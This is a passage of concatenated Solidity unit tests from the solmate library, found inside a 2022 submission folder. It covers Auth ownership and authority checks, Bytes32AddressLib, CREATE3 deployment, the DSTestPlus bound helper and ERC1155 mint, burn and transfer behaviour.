function testSetAuthorityAsOwner() public {
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
assertEq(address(mockAuthChild.authority()), address(0xBEEF));
}
function testCallFunctionAsOwner() public {
mockAuthChild.updateFlag();
}
function testSetOwnerWithPermissiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(address(0));
mockAuthChild.setOwner(address(this));
}
function testSetAuthorityWithPermissiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(address(0));
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
}
function testCallFunctionWithPermissiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(address(0));
mockAuthChild.updateFlag();
}
function testSetAuthorityAsOwnerWithOutOfOrderAuthority() public {
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.setAuthority(new MockAuthority(true));
}
function testFailSetOwnerAsNonOwner() public {
mockAuthChild.setOwner(address(0));
mockAuthChild.setOwner(address(0xBEEF));
}
function testFailSetAuthorityAsNonOwner() public {
mockAuthChild.setOwner(address(0));
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
}
function testFailCallFunctionAsNonOwner() public {
mockAuthChild.setOwner(address(0));
mockAuthChild.updateFlag();
}
function testFailSetOwnerWithRestrictiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(address(0));
mockAuthChild.setOwner(address(this));
}
function testFailSetAuthorityWithRestrictiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(address(0));
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
}
function testFailCallFunctionWithRestrictiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(address(0));
mockAuthChild.updateFlag();
}
function testFailSetOwnerAsOwnerWithOutOfOrderAuthority() public {
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.setOwner(address(0));
}
function testFailCallFunctionAsOwnerWithOutOfOrderAuthority() public {
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.updateFlag();
}
function testSetOwnerAsOwner(address newOwner) public {
mockAuthChild.setOwner(newOwner);
assertEq(mockAuthChild.owner(), newOwner);
}
function testSetAuthorityAsOwner(Authority newAuthority) public {
mockAuthChild.setAuthority(newAuthority);
assertEq(address(mockAuthChild.authority()), address(newAuthority));
}
function testSetOwnerWithPermissiveAuthority(address deadOwner, address newOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setOwner(newOwner);
}
function testSetAuthorityWithPermissiveAuthority(address deadOwner, Authority newAuthority) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setAuthority(newAuthority);
}
function testCallFunctionWithPermissiveAuthority(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.updateFlag();
}
function testFailSetOwnerAsNonOwner(address deadOwner, address newOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setOwner(newOwner);
}
function testFailSetAuthorityAsNonOwner(address deadOwner, Authority newAuthority) public {
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setAuthority(newAuthority);
}
function testFailCallFunctionAsNonOwner(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setOwner(deadOwner);
mockAuthChild.updateFlag();
}
function testFailSetOwnerWithRestrictiveAuthority(address deadOwner, address newOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setOwner(newOwner);
}
function testFailSetAuthorityWithRestrictiveAuthority(address deadOwner, Authority newAuthority) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setAuthority(newAuthority);
}
function testFailCallFunctionWithRestrictiveAuthority(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.updateFlag();
}
function testFailSetOwnerAsOwnerWithOutOfOrderAuthority(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.setOwner(deadOwner);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/Bytes32AddressLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {Bytes32AddressLib} from "../utils/Bytes32AddressLib.sol";
contract Bytes32AddressLibTest is DSTestPlus {
function testFillLast12Bytes() public {
assertEq(
Bytes32AddressLib.fillLast12Bytes(0xfEEDFaCEcaFeBEEFfEEDFACecaFEBeeFfeEdfAce),
0xfeedfacecafebeeffeedfacecafebeeffeedface000000000000000000000000
);
}
function testFromLast20Bytes() public {
assertEq(
Bytes32AddressLib.fromLast20Bytes(0xfeedfacecafebeeffeedfacecafebeeffeedfacecafebeeffeedfacecafebeef),
0xCAfeBeefFeedfAceCAFeBEEffEEDfaCecafEBeeF
);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/CREATE3.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {WETH} from "../tokens/WETH.sol";
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockERC20} from "./utils/mocks/MockERC20.sol";
import {MockAuthChild} from "./utils/mocks/MockAuthChild.sol";
import {CREATE3} from "../utils/CREATE3.sol";
contract CREATE3Test is DSTestPlus {
function testDeployERC20() public {
bytes32 salt = keccak256(bytes("A salt!"));
MockERC20 deployed = MockERC20(
CREATE3.deploy(
salt,
abi.encodePacked(type(MockERC20).creationCode, abi.encode("Mock Token", "MOCK", 18)),
0
)
);
assertEq(address(deployed), CREATE3.getDeployed(salt));
assertEq(deployed.name(), "Mock Token");
assertEq(deployed.symbol(), "MOCK");
assertEq(deployed.decimals(), 18);
}
function testFailDoubleDeploySameBytecode() public {
bytes32 salt = keccak256(bytes("Salty..."));
CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);
CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);
}
function testFailDoubleDeployDifferentBytecode() public {
bytes32 salt = keccak256(bytes("and sweet!"));
CREATE3.deploy(salt, type(WETH).creationCode, 0);
CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);
}
function testDeployERC20(
bytes32 salt,
string calldata name,
string calldata symbol,
uint8 decimals
) public {
MockERC20 deployed = MockERC20(
CREATE3.deploy(salt, abi.encodePacked(type(MockERC20).creationCode, abi.encode(name, symbol, decimals)), 0)
);
assertEq(address(deployed), CREATE3.getDeployed(salt));
assertEq(deployed.name(), name);
assertEq(deployed.symbol(), symbol);
assertEq(deployed.decimals(), decimals);
}
function testFailDoubleDeploySameBytecode(bytes32 salt, bytes calldata bytecode) public {
CREATE3.deploy(salt, bytecode, 0);
CREATE3.deploy(salt, bytecode, 0);
}
function testFailDoubleDeployDifferentBytecode(
bytes32 salt,
bytes calldata bytecode1,
bytes calldata bytecode2
) public {
CREATE3.deploy(salt, bytecode1, 0);
CREATE3.deploy(salt, bytecode2, 0);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/DSTestPlus.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
contract DSTestPlusTest is DSTestPlus {
function testBound() public {
assertEq(bound(5, 0, 4), 0);
assertEq(bound(0, 69, 69), 69);
assertEq(bound(0, 68, 69), 68);
assertEq(bound(10, 150, 190), 174);
assertEq(bound(300, 2800, 3200), 3107);
assertEq(bound(9999, 1337, 6666), 4669);
}
function testFailBoundMinBiggerThanMax() public pure {
bound(5, 100, 10);
}
function testBound(
uint256 num,
uint256 min,
uint256 max
) public {
if (min > max) (min, max) = (max, min);
uint256 bounded = bound(num, min, max);
assertGe(bounded, min);
assertLe(bounded, max);
}
function testFailBoundMinBiggerThanMax(
uint256 num,
uint256 min,
uint256 max
) public pure {
if (max == min) {
unchecked {
min++; // Overflow is handled below.
}
}
if (max > min) (min, max) = (max, min);
bound(num, min, max);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/ERC1155.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {MockERC1155} from "./utils/mocks/MockERC1155.sol";
import {ERC1155User} from "./utils/users/ERC1155User.sol";
import {ERC1155TokenReceiver} from "../tokens/ERC1155.sol";
contract ERC1155Recipient is ERC1155TokenReceiver {
address public operator;
address public from;
uint256 public id;
uint256 public amount;
bytes public mintData;
function onERC1155Received(
address _operator,
address _from,
uint256 _id,
uint256 _amount,
bytes calldata _data
) public override returns (bytes4) {
operator = _operator;
from = _from;
id = _id;
amount = _amount;
mintData = _data;
return ERC1155TokenReceiver.onERC1155Received.selector;
}
address public batchOperator;
address public batchFrom;
uint256[] internal _batchIds;
uint256[] internal _batchAmounts;
bytes public batchData;
function batchIds() external view returns (uint256[] memory) {
return _batchIds;
}
function batchAmounts() external view returns (uint256[] memory) {
return _batchAmounts;
}
function onERC1155BatchReceived(
address _operator,
address _from,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data
) external override returns (bytes4) {
batchOperator = _operator;
batchFrom = _from;
_batchIds = _ids;
_batchAmounts = _amounts;
batchData = _data;
return ERC1155TokenReceiver.onERC1155BatchReceived.selector;
}
}
contract RevertingERC1155Recipient is ERC1155TokenReceiver {
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) public pure override returns (bytes4) {
revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155Received.selector)));
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155BatchReceived.selector)));
}
}
contract WrongReturnDataERC1155Recipient is ERC1155TokenReceiver {
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) public pure override returns (bytes4) {
return 0xCAFEBEEF;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
return 0xCAFEBEEF;
}
}
contract NonERC1155Recipient {}
contract ERC1155Test is DSTestPlus, ERC1155TokenReceiver {
MockERC1155 token;
mapping(address => mapping(uint256 => uint256)) public userMintAmounts;
mapping(address => mapping(uint256 => uint256)) public userTransferOrBurnAmounts;
function setUp() public {
token = new MockERC1155();
}
function testMintToEOA() public {
token.mint(address(0xBEEF), 1337, 1, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 1);
}
function testMintToERC1155Recipient() public {
ERC1155Recipient to = new ERC1155Recipient();
token.mint(address(to), 1337, 1, "testing 123");
assertEq(token.balanceOf(address(to), 1337), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), 1337);
assertBytesEq(to.mintData(), "testing 123");
}
function testBatchMintToEOA() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory amounts = new uint256[](5);
amounts[0] = 100;
amounts[1] = 200;
amounts[2] = 300;
amounts[3] = 400;
amounts[4] = 500;
token.batchMint(address(0xBEEF), ids, amounts, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 100);
assertEq(token.balanceOf(address(0xBEEF), 1338), 200);
assertEq(token.balanceOf(address(0xBEEF), 1339), 300);
assertEq(token.balanceOf(address(0xBEEF), 1340), 400);
assertEq(token.balanceOf(address(0xBEEF), 1341), 500);
}
function testBatchMintToERC1155Recipient() public {
ERC1155Recipient to = new ERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory amounts = new uint256[](5);
amounts[0] = 100;
amounts[1] = 200;
amounts[2] = 300;
amounts[3] = 400;
amounts[4] = 500;
token.batchMint(address(to), ids, amounts, "testing 123");
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(0));
assertUintArrayEq(to.batchIds(), ids);
assertUintArrayEq(to.batchAmounts(), amounts);
assertBytesEq(to.batchData(), "testing 123");
assertEq(token.balanceOf(address(to), 1337), 100);
assertEq(token.balanceOf(address(to), 1338), 200);
assertEq(token.balanceOf(address(to), 1339), 300);
assertEq(token.balanceOf(address(to), 1340), 400);
assertEq(token.balanceOf(address(to), 1341), 500);
}
function testBurn() public {
token.mint(address(0xBEEF), 1337, 100, "");
token.burn(address(0xBEEF), 1337, 70);
assertEq(token.balanceOf(address(0xBEEF), 1337), 30);
}
function testBatchBurn() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory burnAmounts = new uint256[](5);
burnAmounts[0] = 50;
burnAmounts[1] = 100;
burnAmounts[2] = 150;
burnAmounts[3] = 200;
burnAmounts[4] = 250;
token.batchMint(address(0xBEEF), ids, mintAmounts, "");
token.batchBurn(address(0xBEEF), ids, burnAmounts);
assertEq(token.balanceOf(address(0xBEEF), 1337), 50);
assertEq(token.balanceOf(address(0xBEEF), 1338), 100);
assertEq(token.balanceOf(address(0xBEEF), 1339), 150);
assertEq(token.balanceOf(address(0xBEEF), 1340), 200);
assertEq(token.balanceOf(address(0xBEEF), 1341), 250);
}
function testApproveAll() public {
token.setApprovalForAll(address(0xBEEF), true);
assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));
}
function testSafeTransferFromToEOA() public {
ERC1155User from = new ERC1155User(token);
token.mint(address(from), 1337, 100, "");
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(0xBEEF), 1337, 70, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 70);
assertEq(token.balanceOf(address(from), 1337), 30);
}
function testSafeTransferFromToERC1155Recipient() public {
ERC1155Recipient to = new ERC1155Recipient();
ERC1155User from = new ERC1155User(token);
token.mint(address(from), 1337, 100, "");
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(to), 1337, 70, "testing 123");
assertEq(to.operator(), address(this));
assertEq(to.from(), address(from));
assertEq(to.id(), 1337);
assertBytesEq(to.mintData(), "testing 123");
assertEq(token.balanceOf(address(to), 1337), 70);
assertEq(token.balanceOf(address(from), 1337), 30);
}
function testSafeTransferFromSelf() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(0xBEEF), 1337, 70, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 70);
assertEq(token.balanceOf(address(this), 1337), 30);
}
function testSafeBatchTransferFromToEOA() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, "");
assertEq(token.balanceOf(address(from), 1337), 50);
assertEq(token.balanceOf(address(0xBEEF), 1337), 50);
assertEq(token.balanceOf(address(from), 1338), 100);
assertEq(token.balanceOf(address(0xBEEF), 1338), 100);
assertEq(token.balanceOf(address(from), 1339), 150);
assertEq(token.balanceOf(address(0xBEEF), 1339), 150);
assertEq(token.balanceOf(address(from), 1340), 200);
assertEq(token.balanceOf(address(0xBEEF), 1340), 200);
assertEq(token.balanceOf(address(from), 1341), 250);
assertEq(token.balanceOf(address(0xBEEF), 1341), 250);
}
function testSafeBatchTransferFromToERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
ERC1155Recipient to = new ERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(to), ids, transferAmounts, "testing 123");
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(from));
assertUintArrayEq(to.batchIds(), ids);
assertUintArrayEq(to.batchAmounts(), transferAmounts);
assertBytesEq(to.batchData(), "testing 123");
assertEq(token.balanceOf(address(from), 1337), 50);
assertEq(token.balanceOf(address(to), 1337), 50);
assertEq(token.balanceOf(address(from), 1338), 100);
assertEq(token.balanceOf(address(to), 1338), 100);
assertEq(token.balanceOf(address(from), 1339), 150);
assertEq(token.balanceOf(address(to), 1339), 150);
assertEq(token.balanceOf(address(from), 1340), 200);
assertEq(token.balanceOf(address(to), 1340), 200);
assertEq(token.balanceOf(address(from), 1341), 250);
assertEq(token.balanceOf(address(to), 1341), 250);
}
function testBatchBalanceOf() public {
address[] memory tos = new address[](5);
tos[0] = address(0xBEEF);
tos[1] = address(0xCAFE);
tos[2] = address(0xFACE);
tos[3] = address(0xDEAD);
tos[4] = address(0xFEED);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
token.mint(address(0xBEEF), 1337, 100, "");
token.mint(address(0xCAFE), 1338, 200, "");
token.mint(address(0xFACE), 1339, 300, "");
token.mint(address(0xDEAD), 1340, 400, "");
token.mint(address(0xFEED), 1341, 500, "");
uint256[] memory balances = token.balanceOfBatch(tos, ids);
assertEq(balances[0], 100);
assertEq(balances[1], 200);
assertEq(balances[2], 300);
assertEq(balances[3], 400);
assertEq(balances[4], 500);
}
function testFailMintToZero() public {
token.mint(address(0), 1337, 1, "");
}
function testFailMintToNonERC155Recipient() public {
token.mint(address(new NonERC1155Recipient()), 1337, 1, "");
}
function testFailMintToRevertingERC155Recipient() public {
token.mint(address(new RevertingERC1155Recipient()), 1337, 1, "");
}
function testFailMintToWrongReturnDataERC155Recipient() public {
token.mint(address(new RevertingERC1155Recipient()), 1337, 1, "");
}
function testFailBurnInsufficientBalance() public {
token.mint(address(0xBEEF), 1337, 70, "");
token.burn(address(0xBEEF), 1337, 100);
}
function testFailSafeTransferFromInsufficientBalance() public {
ERC1155User from = new ERC1155User(token);
token.mint(address(from), 1337, 70, "");
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(0xBEEF), 1337, 100, "");
}
function testFailSafeTransferFromSelfInsufficientBalance() public {
token.mint(address(this), 1337, 70, "");
token.safeTransferFrom(address(this), address(0xBEEF), 1337, 100, "");
}
function testFailSafeTransferFromToZero() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(0), 1337, 70, "");
}
function testFailSafeTransferFromToNonERC155Recipient() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), 1337, 70, "");
}
function testFailSafeTransferFromToRevertingERC1155Recipient() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(new RevertingERC1155Recipient()), 1337, 70, "");
}
function testFailSafeTransferFromToWrongReturnDataERC1155Recipient() public {
token.mint(address(this), 1337, 100, "");
token.safeTransferFrom(address(this), address(new WrongReturnDataERC1155Recipient()), 1337, 70, "");
}
function testFailSafeBatchTransferInsufficientBalance() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 50;
mintAmounts[1] = 100;
mintAmounts[2] = 150;
mintAmounts[3] = 200;
mintAmounts[4] = 250;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 100;
transferAmounts[1] = 200;
transferAmounts[2] = 300;
transferAmounts[3] = 400;
transferAmounts[4] = 500;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToZero() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToNonERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(new NonERC1155Recipient()), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToRevertingERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(new RevertingERC1155Recipient()), ids, transferAmounts, "");
}
function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](5);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
transferAmounts[4] = 250;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new WrongReturnDataERC1155Recipient()),
ids,
transferAmounts,
""
);
}
function testFailSafeBatchTransferFromWithArrayLengthMismatch() public {
ERC1155User from = new ERC1155User(token);
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory transferAmounts = new uint256[](4);
transferAmounts[0] = 50;
transferAmounts[1] = 100;
transferAmounts[2] = 150;
transferAmounts[3] = 200;
token.batchMint(address(from), ids, mintAmounts, "");
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, "");
}
function testFailBatchMintToZero() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(0), ids, mintAmounts, "");
}
function testFailBatchMintToNonERC1155Recipient() public {
NonERC1155Recipient to = new NonERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(to), ids, mintAmounts, "");
}
function testFailBatchMintToRevertingERC1155Recipient() public {
RevertingERC1155Recipient to = new RevertingERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(to), ids, mintAmounts, "");
}
function testFailBatchMintToWrongReturnDataERC1155Recipient() public {
WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
token.batchMint(address(to), ids, mintAmounts, "");
}
function testFailBatchMintWithArrayMismatch() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory amounts = new uint256[](4);
amounts[0] = 100;
amounts[1] = 200;
amounts[2] = 300;
amounts[3] = 400;
token.batchMint(address(0xBEEF), ids, amounts, "");
}
function testFailBatchBurnInsufficientBalance() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 50;
mintAmounts[1] = 100;
mintAmounts[2] = 150;
mintAmounts[3] = 200;
mintAmounts[4] = 250;
uint256[] memory burnAmounts = new uint256[](5);
burnAmounts[0] = 100;
burnAmounts[1] = 200;
burnAmounts[2] = 300;
burnAmounts[3] = 400;
burnAmounts[4] = 500;
token.batchMint(address(0xBEEF), ids, mintAmounts, "");
token.batchBurn(address(0xBEEF), ids, burnAmounts);
}
function testFailBatchBurnWithArrayLengthMismatch() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory burnAmounts = new uint256[](4);
burnAmounts[0] = 50;
burnAmounts[1] = 100;
burnAmounts[2] = 150;
burnAmounts[3] = 200;
token.batchMint(address(0xBEEF), ids, mintAmounts, "");
token.batchBurn(address(0xBEEF), ids, burnAmounts);
}
function testFailBalanceOfBatchWithArrayMismatch() public view {
address[] memory tos = new address[](5);
tos[0] = address(0xBEEF);
tos[1] = address(0xCAFE);
tos[2] = address(0xFACE);
tos[3] = address(0xDEAD);
tos[4] = address(0xFEED);
uint256[] memory ids = new uint256[](4);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
token.balanceOfBatch(tos, ids);
}
function testMintToEOA(
address to,
uint256 id,
uint256 amount,
bytes memory mintData
) public {
if (to == address(0)) to = address(0xBEEF);
